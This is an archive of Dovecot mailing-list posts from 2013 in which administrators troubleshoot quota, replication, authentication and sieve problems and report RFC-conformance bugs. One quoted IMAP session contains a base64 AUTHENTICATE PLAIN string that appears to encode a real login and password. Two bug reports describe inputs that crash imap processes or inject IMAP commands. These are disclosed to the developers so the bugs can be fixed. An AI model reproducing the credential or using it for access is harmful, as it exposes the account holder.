message-id=<CAKrzS114MaJGND9BxYUiixMMtORmXJqTA3W13B=QAr0YW_nkUg(a)mail.gmail.com> May 3 22:00:13 mail postfix/qmgr[17429]: 0EB81172391A: from=<sender(a)googlemail.com>, size=5409, nrcpt=1 (queue active) May 3 22:00:13 mail postfix/smtpd[17463]: disconnect from mail-ie0-x236.google.com[2607:f8b0:4001:c03::236] May 3 22:00:13 mail klms-smtp_proxy: Message from sender(a)googlemail.com to daniel(a)dlutt.de passed May 3 22:00:14 mail postfix/smtpd[17482]: connect from localhost[127.0.0.1] May 3 22:00:14 mail postfix/smtpd[17482]: 00776172391C: client=localhost[127.0.0.1], orig_client=mail-ie0-x236.google.com[2607:f8b0:4001:c03::236] May 3 22:00:14 mail postfix/cleanup[17475]: 00776172391C: message-id=<CAKrzS114MaJGND9BxYUiixMMtORmXJqTA3W13B=QAr0YW_nkUg(a)mail.gmail.com> May 3 22:00:14 mail postfix/qmgr[17429]: 00776172391C: from=<sender(a)googlemail.com>, size=6195, nrcpt=1 (queue active) May 3 22:00:14 mail postfix/smtpd[17482]: disconnect from localhost[127.0.0.1] May 3 22:00:14 mail postfix/smtp[17476]: 0EB81172391A: to=<daniel(a)dlutt.de>, relay=127.0.0.1[127.0.0.1]:10025, delay=1.2, delays=0.54/0.02/0/0.65, dsn=2.0.0, status=sent (250 2.0.0 Ok: queued as 00776172391C) May 3 22:00:14 mail postfix/qmgr[17429]: 0EB81172391A: removed May 3 22:00:14 mail dovecot: lmtp(17484): Connect from local May 3 22:00:14 mail dovecot: lmtp(17484, daniel(a)dlutt.de) dEa8BE4XhFFMRAAAG4AjPw: sieve: msgid=<CAKrzS114MaJGND9BxYUiixMMtORmXJqTA3W13B=QAr0YW_nkUg(a)mail.gmail.com>: stored mail into mailbox 'INBOX' May 3 22:00:14 mail dovecot: lmtp(17484): Disconnect from local: Successful quit May 3 22:00:14 mail postfix/lmtp[17483]: 00776172391C: to=<daniel(a)dlutt.de>, relay=mail.dlutt.de[private/dovecot-lmtp], delay=0.11, delays=0.05/0.02/0.01/0.03, dsn=2.0.0, status=sent (250 2.0.0 <daniel(a)dlutt.de> dEa8BE4XhFFMRAAAG4AjPw Saved) May 3 22:00:14 mail postfix/qmgr[17429]: 00776172391C: removed May 3 22:00:36 mail postfix/postscreen[17433]: CONNECT from [2607:f8b0:4001:c03::230]:43653 to [2a00:1828:2000:206::2]:25 May 3 22:00:42 mail postfix/postscreen[17433]: PASS NEW [2607:f8b0:4001:c03::230]:43653 May 3 22:00:42 mail postfix/smtpd[17463]: connect from mail-ie0-x230.google.com[2607:f8b0:4001:c03::230] May 3 22:00:42 mail dovecot: quota-status(daniel(a)dlutt.de): Error: user daniel(a)dlutt.de: Error reading configuration: net_connect_unix(/usr/var/run/dovecot/config) failed: Permission denied May 3 22:00:42 mail postfix/smtpd[17463]: NOQUEUE: reject: RCPT from mail-ie0-x230.google.com[2607:f8b0:4001:c03::230]: 450 4.7.1 <daniel(a)dlutt.de>: Recipient address rejected: Internal error occurred. Refer to server log for more information.; from=<absender(a)googlemail.com> to=<daniel(a)dlutt.de> proto=ESMTP helo=<mail-ie0-x230.google.com> May 3 22:00:42 mail postfix/smtpd[17463]: disconnect from mail-ie0-x230.google.com[2607:f8b0:4001:c03::230] May 3 22:00:53 mail postfix/postfix-script[17560]: stopping the Postfix mail system May 3 22:00:53 mail postfix/master[17425]: terminating on signal 15 May 3 22:02:51 mail dovecot: master: Warning: Killed with signal 15 (by pid=17681 uid=0 code=kill) Das Problem tritt mit dem unix_listener, aber auch mit dem inet_listener auf - beide Male beschwert sich Dovecot über den Zugriff auf den Service "config". Ich habe auch mal versucht, die Berechtigungen für den Service "config" auf World-Readable zu setzen, leider hat dies auch nicht geklappt, wobei ich nicht weiß, ob dieser unbedingt mit dem Problem etwas zu tun hat. Auch beim Debug-Logging sind leider nicht mehr Infos zum Fehler zu finden. Zum Einsatz kommt aktuell Postfix 2.10.0 und Dovecot 2.2.1. Die Dovecot Quota Konfiguration sieht so aus, wie bei sys4 beschrieben: service quota-status { executable = quota-status -p postfix unix_listener /var/spool/postfix/private/quota-status { group = postfix mode = 0660 user = postfix } client_limit = 1 } Mittlerweile habe ich schon einige Optionen und Berechtigungen ausprobiert, aber der Fehler bleibt leider der gleiche. Hat vielleicht jemand noch einen Tip? Danke schon mal. -- Daniel

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[Dovecot] pop3 login ok then disconnects right away..outlook
by markh 07 May '13

07 May '13

I have dovecot with postfix on ubuntu server 12 I cannot log into outgoing server with outlook. It logs into incoming server ok with outlook. I can telnet pop3 and imap ok. Looking at mail log it looks like dovecot auths: ok then shows pop3-login: Login: user=<user> USER#etc ok ... then next line shows..same second pop3(user): disconnected: Logged out top/0/0 etc. I have tried a lot of combinations with ssl ,tls none Any suggestions...thanks -- View this message in context: http://dovecot.2317879.n4.nabble.com/pop3-login-ok-then-disconnects-right-a… Sent from the Dovecot mailing list archive at Nabble.com.

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[Dovecot] v2.2.1 released
by Timo Sirainen 07 May '13

07 May '13

http://dovecot.org/releases/2.2/dovecot-2.2.1.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.1.tar.gz.sig - mailbox_list_index=yes was broken. - LAYOUT=index didn't list subscriptions. - auth: Multiple master passdbs didn't work. - Message parsing (e.g. during search) crashed when multipart message didn't actually contain any parts.

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[Dovecot] Upgrading from 2.0 to 2.2
by Asai 06 May '13

06 May '13

Greetings, Is this possible to upgrade directly from 2.0 to 2.2? If so, is there a guide for doing this? Thank you. -- --Asai

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[Dovecot] imap crash during URLFETCH
by Mike Abbott 06 May '13

06 May '13

Dovecot-2.2.1's imap processes crash reliably when they use an IMAP URL with an invalid access specifier. A backtrace and some debug output follows. The crash is likely caused by imap_urlauth_fetch_parsed() returning 0 without having set *mpurl_r to NULL, and then imap_urlauth_fetch_local() freeing an uninitialized pointer. Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x0000000000001059 0 libdovecot-storage.0.dylib 0x000000010b06a383 imap_msgpart_url_free + 17 1 imap 0x000000010afc71cc imap_urlauth_fetch_local + 770 2 imap 0x000000010afc6dcf imap_urlauth_fetch_url + 439 3 imap 0x000000010afbb489 cmd_urlfetch + 580 4 imap 0x000000010afbdf4d command_exec + 55 5 imap 0x000000010afbdabb client_command_input + 34 6 imap 0x000000010afbdc7c client_command_input + 483 7 imap 0x000000010afbd351 client_handle_input + 239 8 imap 0x000000010afbc613 client_input + 119 9 libdovecot.0.dylib 0x000000010b111c74 io_loop_call_io + 46 10 libdovecot.0.dylib 0x000000010b112c85 io_loop_handler_run + 214 11 libdovecot.0.dylib 0x000000010b111e1f io_loop_run + 77 12 libdovecot.0.dylib 0x000000010b0d10c6 master_service_run + 24 13 imap 0x000000010afc5aba main + 1010 14 libdyld.dylib 0x00007fff89e5f7bd start + 1 Apr 29 20:00:31 imap(pid 82429 user mja): Debug: Fetching local URLAUTH imap://mja@duck.example.com/INBOX;uidvalidity=1366726248/;uid=19;urlauth=submit+mja:internal:012c9c6a3d74db6509e4a3802a0f5edf64546608b8 Apr 29 20:00:31 imap(pid 82429 user mja): Debug: Failed to fetch URLAUTH "imap://mja@duck.example.com/INBOX;uidvalidity=1366726248/;uid=19;urlauth=submit+mja:internal:012c9c6a3d74db6509e4a3802a0f5edf64546608b8": No 'submit+mja' access allowed for user mja Apr 29 20:00:31 imap(pid 82429 user mja): Fatal: master: service(imap): child 82429 killed with signal 11 (core dumps disabled)

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[Dovecot] doveadm search causes replication error message
by Oli Schacher 06 May '13

06 May '13

Hi # 2.2.1 (83d83f55e5c2+) / dsync replicated setup I just noticed that 'doveadm search' apparently tries to replicate mailboxes and spits out errors if a mailbox in the search query is not found: #doveadm search -u user(a)example.com mailbox Spamreport doveadm(user(a)example.com): Error: Syncing mailbox Spamreport failed: Mailbox doesn't exist: Spamreport this is especially problematic with -A searches as this causes a error message for every user which doesn't have that folder. Is this a bug or intended behaviour? Should I just 2>/dev/null these errors in doveadm scripts? Thanks Oli -- message transmitted on 100% recycled electrons

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[Dovecot] SELECT/EXAMINE don't report URLMECH
by Mike Abbott 06 May '13

06 May '13

In dovecot-2.2.1 neither the SELECT nor the EXAMINE commands include an untagged URLMECH reply. (Note, this is not the one mandated by the RESETKEY command.) AFAICT RFC 4467 does not require an URLMECH reply to SELECT or EXAMINE but without it clients have no way of knowing about authorization mechanisms other than INTERNAL. Now I know dovecot-2.2 supports only the INTERNAL mechanism at present so this is probably harmless, but still I think it's worthwhile to ask: Is the absence of the URLMECH reply intentional or an oversight? For comparison Apple's enhanced dovecot replies: c1 select inbox [...] * OK [URLMECH INTERNAL] Mechanisms supported c1 OK [READ-WRITE] Select completed.

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[Dovecot] many SSH connexions with dsynx/SSH replication
by Emmanuel Dreyfus 06 May '13

06 May '13

Hi I am trying replication over dsync/ssh, as explained there: http://wiki2.dovecot.org/Replication I added the options below to dovecot.conf. It works, but it seems there is a new SSH connexion for each user, which is a bit overkill performance-wise. Since I sync as root, I guess there is a way of haing everything on the same SSH connexion? --- cut here --- mail_plugins = $mail_plugins notify replication service replicator { process_min_avail = 1 } dsync_remote_cmd = ssh -lroot %{host} doveadm dsync-server -u%u plugin { mail_replica = remote:root@mail1.example.net } service aggregator { fifo_listener replication-notify-fifo { user = dovecot } unix_listener replication-notify { user = dovecot } } service replicator { unix_listener replicator-doveadm { mode = 0600 } } service doveadm { inet_listener { port = 12345 ssl = yes } } doveadm_port = 12345 ssl_client_ca_file = /etc/openssl/certs/ca.crt doveadm_proxy_port = 0 --- cut here --- -- Emmanuel Dreyfus manu(a)netbsd.org

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[Dovecot] dsyncing lazy_expunge namespace
by Angel L. Mateo 06 May '13

06 May '13

Hello, I'm in the process of migrating mailbox from one dovecot server running dovecot 2.1.9 with mailboxes stored in maildir format to a newer one running 2.1.16 with mailboxes stored in mdbox format. To migrate mailboxes I'm using dsync as explained at http://wiki2.dovecot.org/Tools/Dsync. The command I'm running in the newer server is: sudo dsync -o mailbox_list_index=no mirror -R -u <user> imapc: The mailbox of the user is correctly synced to the newer server, except the lazy_expunge namespace, which is not synced at all. The config in my old server is: namespace { # hidden = yes # list = no # Temporally, only for migration hidden = no list = yes location = maildir:~/Maildir/expunged prefix = BORRADOS. separator = . } and in the newer one is: namespace { hidden = yes list = no location = mdbox:%h/expunged:INDEX=/mail/indexes/%2Ln/%Ln/expunged prefix = BORRADOS/ separator = / } With a tcpdump I have checked that old servers list the namefolder, this is the IMAP dialog for an example user: * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready. 2 AUTHENTICATE PLAIN YW5nZWwubHVpcwBtYXN0ZXIAVkFzR293ZW0= 2 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE QUOTA ACL RIGHTS=texk] Logged in 1 LIST "" "" * LIST (\Noselect) "." "" 1 OK List completed. 3 LIST "" "*" * LIST (\HasNoChildren) "." "SPAM" * LIST (\HasNoChildren) "." "Trash" * LIST (\HasNoChildren) "." "Drafts" * LIST (\HasNoChildren) "." "INBOX" * LIST (\Noselect \HasNoChildren) "." "BORRADOS" 3 OK List completed. 4 STATUS "SPAM" (UIDNEXT UIDVALIDITY) * STATUS "SPAM" (UIDNEXT 3 UIDVALIDITY 1316372649) 4 OK Status completed. 5 EXAMINE "SPAM" * FLAGS (\Answered \Flagged \Deleted \Seen \Draft) ... But "BORRADOS" is never selected in the rest of the dialog. Any idea? -- Angel L. Mateo Martínez Sección de Telemática Área de Tecnologías de la Información y las Comunicaciones Aplicadas (ATICA) http://www.um.es/atica Tfo: 868889150 Fax: 868888337

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[Dovecot] XFS vs EXT4 for mail storage
by Charles Marcus 05 May '13

05 May '13

Hello, I'm in the process of finalizing the spec for my new dovecot VM, and this is the last question I need to address... I've read until I'm just about decided on XFS, but I have no experience with it (been using reiserfs on my old box (@ 8 yrs old now), and never had a problem (knock on wood), but considering its current situation (little to no development support for reasons everyone is aware of), I've decided now is the time to switch. It came down to XFS or EXT4, and I like what I've read about XFS, but am unsure how to tune it (or even if I should). I've decided to use mdbox for storage (been using maildir), and will enable SIS for attachments. So, anyone (Stan?) have any suggestions? Should I go with EXT4? Or XFS with just the defaults? Or XFS with one or more tuned parameters? Appreciate any suggestions (including links to docs dealing with tuning XFS for my mail storage conditions that are written more at the layman level) or comments from anyone experienced using both... Thanks, -- Best regards, Charles

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Re: [Dovecot] qmail-ldap LDA Delivery and sieve
by Deepak 04 May '13

04 May '13

Hi I used the below filter in my dovecot-ldap-userdb.conf file, user_attrs = homeDirectory=home, uidNumber=uid, gidNumber=gid user_filter = (&(objectClass=posixAccount)(|(mail=%u)(mailAlternateAddress=%u) (uid=%u))) This above filter was working fine for me, and it's delivering fine for all the domains. seive is also working fine. The "-d" in dovecot-lda will do userdb lookup with ldap.

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[Dovecot] dovecot antispam plugin is not woking
by Ravi Kanchan 04 May '13

04 May '13

Hi All, I am using dovecot version 2.0.9 DSPAM Anti-Spam Suite 3.10.2 (agent/library) ClamAV 0.97.7/17102 and dspam antispam plugin dovecot-antispam-plugin-43880985e3dd and plugin configuration is given below: protocol imap { mail_plugins = " antispam autocreate" } protocol pop3 { mail_plugins = antispam autocreate } plugin { antispam_allow_append_to_spam = YES antispam_backend = dspam antispam_crm_args = --config=/home/vmail antispam_dspam_args = --client;--user vmail antispam_dspam_binary = /usr/bin/dspam antispam_dspam_notspam = --class=innocent antispam_dspam_result_header = X-DSPAM-Result antispam_dspam_spam = --class=spam antispam_mail_tmpdir = /tmp antispam_signature = X-DSPAM-Signature antispam_signature_missing = error antispam_spam = Spam } dspam bin path: [root@sogo ~]# which dspam /usr/bin/dspam but my dspam plugin configuration is not working. and I am not getting any log from dspam. My dspam server is working prefect. cna anyone help me Regard's Ravi Kanchan Sharma

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[Dovecot] Dovecot has no understandable configuration any more
by forum 04 May '13

04 May '13

Hello, for many years i used an mailserver with dovecot V1 very satisfied! http://mailserver.decotrain.de/ One of the reasons to use dovecot was a simply configuration. Dovecot was the best choice for IMAP for me! Now i updated the server to Debian testing with dovecot 2.1.7. It's not possible for me to get a running authentication for virtual mail users! I recently found this mailing and have the same problem: http://www.dovecot.org/list/dovecot/2012-March/064181.html The documentation says *nothing* about my problem how to authenticate with mysql! http://wiki2.dovecot.org/VirtualUsers I can solve the problem only with try and error without a chance in this complex system. It's nice to have all this possibilites but they are not useful if not documented. There should be some clear examples for different scenarios to be found in your wiki. My problem at this time: I don't know how to configure the userdb to work with mysql authentification? All mail is running under the special user mail. dovecot.conf ============ disable_plaintext_auth = yes passdb { driver = sql # Path for SQL configuration file, see example-config/dovecot-sql.conf.ext args = /etc/dovecot/dovecot-sql.conf } userdb { driver = prefetch } first_valid_uid = 8 last_valid_uid = 8 first_valid_gid = 8 last_valid_gid = 8 mail_location = maildir:/srv/mail/%d/%n dovecot-sql.conf ================ driver = mysql connect = host=/var/run/mysqld/mysqld.sock dbname=... => WORKS! default_pass_scheme = SHA1 password_query = SELECT password, '/srv/mail/%d/%n' AS home, 'mail' AS uid, 'mail' AS gid FROM user WHERE username = '%n' AND domain = '%d' AND IMAP_allowed = 'YES' Errors ====== Apr 30 10:28:22 auth: Debug: client out: OK 1 user=xxxx@yyyy home=/srv/mail/yyyy/xxxx uid=mail gid=mail Apr 30 10:28:22 auth: Debug: master in: REQUEST 3163291649 5347 1 87066c907eef8f4e5ed71319b560dd2a Apr 30 10:28:22 auth: Error: prefetch(xxxx@yyyy,::1,<doTKyI/brgAAAAAAAAAAAAAAAAAAAAAB>): userdb lookup not possible with only userdb prefetch Apr 30 10:28:22 auth: Error: userdb(xxxx@yyyy,::1,<doTKyI/brgAAAAAAAAAAAAAAAAAAAAAB>): user not found from userdb prefetch Apr 30 10:28:22 auth: Debug: master out: NOTFOUND 3163291649 Apr 30 10:28:22 imap: Error: Authenticated user not found from userdb, auth lookup id=3163291649 (client-pid=5347 client-id=1) Apr 30 10:28:22 imap-login: Info: Internal login failure (pid=5347 id=1) (internal failure, 1 succesful auths): user=<karsten(a)dct.mine.nu>, method=PLAIN, rip=::1, lip=::1, mpid=5352, secured, session=<doTKyI/brgAAAAAAAAAAAAAAAAAAAAAB> I have no idea how to solve the problem and up to know i could not find an example with google. Please help. Best regards Karsten

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[Dovecot] Accessing mail files not owned by imap login user
by PaulM47 03 May '13

03 May '13

Hi, I have managed to set up a 'maildir' based mail system using fetchmail and procmail that delivers sorted mail to folders /var/spool/mail/user1, ../user2 etc. 'user1', 'user2' etc. are real users but the mail system is run under logged in user 'mailserver'. The mail folders are owned by 'user1', 'user2' etc. but mail files, when delivered, are owned by 'mailserver'. I've been unable to find a way to change this behaviour :-( Dovecot is configured by adding the single line 'mail_location = maildir:/var/spool/mail/%u' to 'dovecot.conf', everything else is as installed. When I make an imap connection as 'user1' the logon is successful, the mail files are moved from ../new/ to ../cur/ but are invisible to the imap client. If I 'chown' the mail files to 'user1' they instantly become visible to the imap client. I gather from googling info on dovecot I can configure dovecot to allow 'user1', when logged in, to access the mail files owned by 'mailserver'. Is this simple to do, and if so how do I do it please ? Thanks PaulM -- View this message in context: http://dovecot.2317879.n4.nabble.com/Accessing-mail-files-not-owned-by-imap… Sent from the Dovecot mailing list archive at Nabble.com.

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[Dovecot] feature request: pipe for custom quota dict queries
by Jeff Gustafson 03 May '13

03 May '13

Just a followup to my previous post. I appears that a pipe for quota queries via dict is not supported right now. Because of the way we group things we need more flexibility. I'd like to propose that dovecot should support quota queries just like userdb dict queries. My expertise is not C, but I might try to poke around and see if I can make something work. ...Jeff

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[Dovecot] sieve: deleteheader sometimes fails [bug]
by Daniel Piddock 03 May '13

03 May '13

Hi, We're using Dovecot 2.1.16 with Pigeonhole 0.3.4. Mail is delivered by exim4 to the dovecot LDA. Sometimes users are unable to delete headers. I've narrowed the problem down to preceding the deleteheader command with a query against the body. A simple example: """ require ["body", "editheader", "fileinto"]; if body :contains "!TEST!" { fileinto "INBOX.Trash"; stop; } deleteheader "Subject"; addheader "Subject" "Testing"; """ Putting the "deleteheader" above the "if body" causes it to be deleted correctly. Although I've used Subject in this example it happens for other headers. Cheers, Dan

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[Dovecot] dovecot 1.2.5 Fatal: setgid(5000(vmail)) Operation not permitted
by Mosh Mage 03 May '13

03 May '13

This is the error I'm getting (whenever i recieve and email): *deliver() : Fatal: setgid(5000(vmail)) failed with euid=5000(vmail), gid=8(mail), egid=8(mail): Operation not permitted (This binary should probably be called with process group set to 5000(vmail) instead of 8(mail)) * I am at loss. I have tried "everything" i could think of (besides purging the machine and do it all over again, which is not an option -- unless it is). Can anyone help me fix this? # 1.2.15: /etc/dovecot/dovecot.conf # OS: Linux 3.2.13-grsec-xxxx-grs-ipv6-64-vps x86_64 Debian 6.0.6 ext3 log_timestamp: %Y-%m-%d %H:%M:%S disable_plaintext_auth: no login_dir: /var/run/dovecot/login login_executable: /usr/lib/dovecot/imap-login verbose_proctitle: yes mail_uid: vmail mail_gid: vmail mail_location: maildir:/var/zpanel/vmail/%d/%n mail_debug: yes mbox_write_locks: fcntl dotlock auth default: mechanisms: plain login verbose: yes debug: yes debug_passwords: yes passdb: driver: sql args: /etc/dovecot/dovecot-sql.conf userdb: driver: sql args: /etc/dovecot/dovecot-sql.conf socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 432 user: vmail group: vmail plugin: trash: /etc/dovecot/dovecot-trash.conf # /etc/dovecot/dovecot-sql.conf driver = mysql connect = host=localhost dbname=zpanel_postfix user=USERNAME password=AWESOMEPASSWORD default_pass_scheme = PLAIN password_query = \ SELECT name, domain, password \ FROM mailbox WHERE name = '%n' AND domain = '%d' user_query = \ SELECT maildir \ FROM mailbox WHERE name = '%n' AND active = '1' AND domain = '%d' #This is my ls -la drwxrwsrwx 5 vmail vmail 4096 May 2 18:39 vmail #and this is inside vmail/ drwx--S--- 3 vmail vmail 4096 May 2 18:39 asfaltotejo.com drwx--S--- 3 vmail vmail 4096 May 2 12:35 gestaoconteudos.pt drwx--S--- 17 vmail vmail 4096 May 2 15:34 tribanet.com #/var/run/dovecot srw-rw---- 1 vmail vmail 0 May 2 19:46 auth-master srw------- 1 root root 0 May 2 19:46 auth-worker.6564 srwxrwxrwx 1 root root 0 May 2 19:46 dict-server lrwxrwxrwx 1 root root 25 May 2 19:46 dovecot.conf -> /etc/dovecot/dovecot.conf drwxr-x--- 2 root dovecot 4096 May 2 19:46 login

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[Dovecot] CATENATE allows zero parts
by Mike Abbott 03 May '13

03 May '13

I'm pleased to see that dovecot-2.2 includes support for RFCs 4467 and 4469 (URLAUTH and CATENATE). I have begun testing these features (in dovecot-2.2.1) and comparing their functionality against Apple's implementation. So far I have discovered a few inconsistencies. I will report each of these, and any more that I may find, in separate threads. The first issue is that using CATENATE with no message parts works but, IMO, shouldn't: a2 append inbox catenate () a2 OK [APPENDUID 1366726248 9] Append completed. For comparison this is how Apple's enhanced dovecot in OS X Server handles this request: a2 append inbox catenate () a2 BAD Invalid arguments. According to RFC 4469 section 3 CATENATE requires "one or more message parts." This is formalized in section 5: append-data =/ "CATENATE" SP "(" cat-part *(SP cat-part) ")" and in RFC 3501 section 9 which states that "[ABNF] rules MUST be followed strictly." I believe that permitting zero cat-parts is contrary to the RFC, although I can understand permitting it under the general doctrine of "servers should be liberal in what they accept, and clients strict in what they send." Is accepting zero cat-parts an intentional exception to the RFC or an oversight?

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[Dovecot] CATENATE doesn't support literal+ url
by Mike Abbott 03 May '13

03 May '13

Dovecot-2.2.1 does not appear to support URLs specified via non-synchronizing literals (RFC 2088 LITERAL+), and also does not read and discard the literal+ input after reporting the error. This results in the literal+ input being interpreted as IMAP commands, which could alter the user's mail store in unexpected ways and/or lead to the abrupt disconnection of the client for exceeding the maximum number of bad IMAP commands. Example using dovecot-2.2.1 (note that the text nonsync literal includes the invisible CRLFs: "foobarCRLFbarbazCRLF"): a3 append inbox catenate (url {9+} /some-url text {16+} foobar barbaz ) a4 noop a3 BAD Error in IMAP command APPEND: Invalid arguments. foobar BAD Error in IMAP command : Unknown command. barbaz BAD Error in IMAP command : Unknown command. ) BAD Error in IMAP command : Unknown command. a4 OK NOOP completed. Example using Apple's enhanced dovecot in OS X Server: a3 append inbox catenate (url {9+} /some-url text {16+} foobar barbaz ) a4 noop a3 NO [BADURL /some-url] missing or invalid uid a4 OK NOOP completed. I believe the RFCs indicate that nonsync literal URLs should be permitted. RFC 4469 section 5: append-data =/ "CATENATE" SP "(" cat-part *(SP cat-part) ")" cat-part = text-literal / url url = "URL" SP astring RFC 3501 section 9: astring = 1*ASTRING-CHAR / string string = quoted / literal RFC 2088 section 4: literal ::= "{" number ["+"] "}" CRLF *CHAR8

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[Dovecot] Tuning!
by Rafael VOlpe TI 02 May '13

02 May '13

Hi Buddies, I have 2 servers running dovecot + postfix for pop/imap users. The users mailbox are in a Nfs storage. The load of server is ranging at 3.0 to 15.0. I really dont know what happened.. I read a lot about tuning of dovecot, and the changes are applied, how you can see. The Hardware of server is really good! The host have 8GB of mem and 2 sockets with 2 cores anyone. The server receives 900-1000 user connections in pop and imap. How i can aprimmorate this processes? Some errors are displayed on the console randomly when the load rises. Example: May 02 13:57:42 pop3(user(a)domain.com): Error: Timeout (180s) while waiting for lock for transaction log file //var/vmail/ domain.com/user//dovecot.index.log May 02 13:57:42 pop3(user(a)domain.com): Error: Couldn't init INBOX: Internal error occurred. Refer to server log for more information. [2013-05-02 13:54:40] May 02 13:57:42 pop3(user(a)domain.com): Info: Mailbox init failed top=0/0, retr=0/0, del=0/0, size=0 I really appreciate any suggestion! Thanks and Regards, Rafael Volpe Dovecot conf: # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-40-generic x86_64 Ubuntu 12.04.2 LTS auth_mechanisms = plain login auth_verbose = yes debug_log_path = /var/log/dovecot-debug.log disable_plaintext_auth = no dotlock_use_excl = no first_valid_gid = 125 first_valid_uid = 125 last_valid_gid = 125 last_valid_uid = 125 log_path = /var/log/dovecot.log mail_debug = yes mail_fsync = always mail_location = maildir:/%Lh/:INDEX=/%Lh/ mail_nfs_index = yes mail_nfs_storage = yes mmap_disable = yes passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } protocols = " imap pop3" service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } service_count = 0 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } ssl_cert = </etc/postfix/ssl/wildcard.domain.com.crt ssl_key = </etc/postfix/ssl/wildcard.domain.com.key userdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } verbose_proctitle = yes protocol imap { imap_idle_notify_interval = 2 mins mail_max_userip_connections = 150 } protocol pop3 { pop3_lock_session = no pop3_uidl_format = %08Xu%08Xv } Postfix conf: alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases append_dot_mydomain = no biff = no bounce_queue_lifetime = 1d broken_sasl_auth_clients = yes config_directory = /etc/postfix content_filter = smtp-amavis:[127.0.0.1]:10024 inet_interfaces = all mailbox_size_limit = 0 maximal_queue_lifetime = 1d message_size_limit = 20240000 myhostname = myname.mydomain.com mynetworks = 127.0.0.0/8 myorigin = /etc/mailname policy-spf_time_limit = 3600s readme_directory = no recipient_bcc_maps = mysql:/etc/postfix/mysql_bcc.cf recipient_delimiter = + relay_domains = proxy:mysql:/etc/postfix/mysql_relay_domains_maps.cf relayhost = sender_bcc_maps = mysql:/etc/postfix/mysql_bcc.cf smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_banner = Welcome to $myhostname smtpd_client_restrictions = permit_mynetworks, permit_sasl_authenticated, check_client_access mysql:/etc/postfix/mysql_access.cf, reject_unknown_client, reject_unknown_client_hostname, reject_unauth_pipelining, reject_rbl_client bl.spamcop.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client b.barracudacentral.org smtpd_end_of_data_restrictions = check_policy_service inet:127.0.0.1:10031 smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_non_fqdn_helo_hostname, reject_invalid_helo_hostname, reject_invalid_hostname smtpd_recipient_restrictions = reject_unknown_sender_domain, reject_unknown_recipient_domain, reject_non_fqdn_sender, reject_non_fqdn_recipient, reject_unlisted_recipient, check_policy_service inet:127.0.0.1:10031, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination, check_policy_service unix:private/policy-spf smtpd_reject_unlisted_sender = yes smtpd_sasl_auth_enable = yes smtpd_sasl_local_domain = $mydomain smtpd_sasl_path = private/auth smtpd_sasl_security_options = noanonymous smtpd_sasl_type = dovecot smtpd_sender_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_pipelining, reject_unauth_destination smtpd_timeout = 30 smtpd_tls_cert_file = /etc/postfix/ssl/wildcard.domain.com.crt smtpd_tls_key_file = /etc/postfix/ssl/wildcard.domain.com.key smtpd_tls_security_level = may smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache transport_maps = mysql:/etc/postfix/mysql_transport.cf vacation_destination_recipient_limit = 1 virtual_alias_maps = mysql:/etc/postfix/mysql_virtual_alias_maps.cf virtual_gid_maps = static:125 virtual_mailbox_base = /var/vmail virtual_mailbox_domains = mysql:/etc/postfix/mysql_virtual_domains_maps.cf virtual_mailbox_limit = 51200000 virtual_mailbox_maps = mysql:/etc/postfix/mysql_virtual_mailbox_maps.cf virtual_minimum_uid = 125 virtual_transport = virtual virtual_uid_maps = static:125

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[Dovecot] Dovecot vs MBox
by Gregory Sloop 02 May '13

02 May '13

I'm still in the "what's wrong" stage of figuring out what's going on. But I've got a mail user who isn't getting new messages. Postfix accepts it and drops it in the users mbox. [This is verified. If I tail the Mbox, I can see the new messages.] "Mail" will see the messages too. But dovecot doesn't seem to know they exist. I don't think the MBox is corrupt, as I've tossed the first few messages in hopes that it would then read the rest, but no luck. Any ideas where to look next, what I might do to force dovecot to forget message ID's etc - that might force it to read the whole mailbox file again? [Or a pointer as to where it might be most productive to poke next?] TIA -Greg -- Gregory Sloop, Principal: Sloop Network & Computer Consulting 503.251.0452 x121 Voice | 503.251.0452 Fax www.sloop.net mailto:gregs@sloop.net

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[Dovecot] CATENATE allows empty messages
by Mike Abbott 02 May '13

02 May '13

Dovecot-2.2.1 allows empty messages to be APPENDed when using CATENATE: b1 append inbox catenate (text {0+} ) b1 OK [APPENDUID 1366726248 12] Append completed. Contrast this with regular APPEND: b2 append inbox {0+} b2 NO Can't save a zero byte message. Note that zero-size literals are OK but zero-size messages are not. So while "b1" above should fail like "b2", this should continue to succeed: b3 append inbox catenate (text {0+} text {8+} foobar ) b3 OK [APPENDUID 1366726248 13] Append completed.

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[Dovecot] Slow DNS warnings (proxy/auth)
by Christian Balzer 02 May '13

02 May '13

